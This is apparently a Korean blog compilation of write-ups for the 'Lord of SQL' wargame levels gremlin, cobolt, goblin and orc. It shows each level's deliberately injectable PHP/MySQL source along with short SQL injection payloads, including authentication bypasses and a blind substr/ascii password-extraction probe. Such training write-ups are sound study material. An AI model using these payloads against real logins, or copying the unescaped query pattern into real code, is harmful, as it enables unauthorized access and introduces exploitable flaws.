query : select id from prob_orc where id='admin' and pw=''

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello admin</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  
highlight_file(__FILE__); 
?>



  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 


id는 admin으로 고정입니다. 그리고 get으로 전달된 pw와 쿼리의 결과로 나온 result의 pw가 일치해야 문제가 풀립니다. 이는 곧 정확한 pw값을 추출해야 한다는 것을 알 수 있습니다.


처음으로 나온 blind sqli 문제네요.


substr을 이용해서 풀 수 있습니다.


?pw=' or id='admin' and ascii(substr(pw,1,1))=0x41%23 

...

payload






'Web > LOS (Lord of SQL)' 카테고리의 다른 글

los(lord of sql) level 6 - darkelf  (0) 2018.08.21
los(lord of sql) level 5 - wolfman  (0) 2018.08.21
los(lord of sql) level 3 - goblin  (0) 2018.08.21
los(lord of sql) level 2 - cobolt  (0) 2018.08.21
los(lord of sql) level 1 - gremlin  (0) 2018.08.21

query : select id from prob_goblin where id='guest' and no=

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); 
  
$query "select id from prob_goblin where id='guest' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("goblin");
  
highlight_file(__FILE__); 
?>



  if($result['id'] == 'admin'solve("goblin");

2번이랑 똑같습니다.. 만 id가 guest로 고정이네요. 그리고 no에서 single quote를 막고있지만 no는 single quote로 감싸져있지 않기 때문에 상관 없습니다. hex encoding 해서 admin을 주겠습니다.

?no=0||id=0x61646d696e 

payload







'Web > LOS (Lord of SQL)' 카테고리의 다른 글

los(lord of sql) level 5 - wolfman  (0) 2018.08.21
los(lord of sql) level 4 - orc  (0) 2018.08.21
los(lord of sql) level 2 - cobolt  (0) 2018.08.21
los(lord of sql) level 1 - gremlin  (0) 2018.08.21
[Web] LOS(Lord of SQL) 워게임 풀이 3  (0) 2018.04.25

query : select id from prob_cobolt where id='' and pw=md5('')

<?php
  
include "./config.php"
  
login_chk();
  
dbconnect();
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id'] == 'admin'solve("cobolt");
  elseif(
$result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"
  
highlight_file(__FILE__); 
?>



if($result['id'] == 'admin'solve("cobolt");

쿼리의 결과로 admin이 나오면 풀리겠네요. md5 어쩌고는 낚시입니다


?id='||id='admin'%23 

payload





query : select id from prob_gremlin where id='' and pw=''

<?php
  
include "./config.php";
  
login_chk();
  
dbconnect();
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  
if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  
$query "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysql_fetch_array(mysql_query($query));
  if(
$result['id']) solve("gremlin");
  
highlight_file(__FILE__);
?>




if($result['id']) solve("gremlin");

이 부분만 통과하면 문제가 풀립니당



 ?id='||1%23 

payload




얘를 다시 풀 일이 있을까요.. 다시 푼다면 쓰겠습니다.

+ Recent posts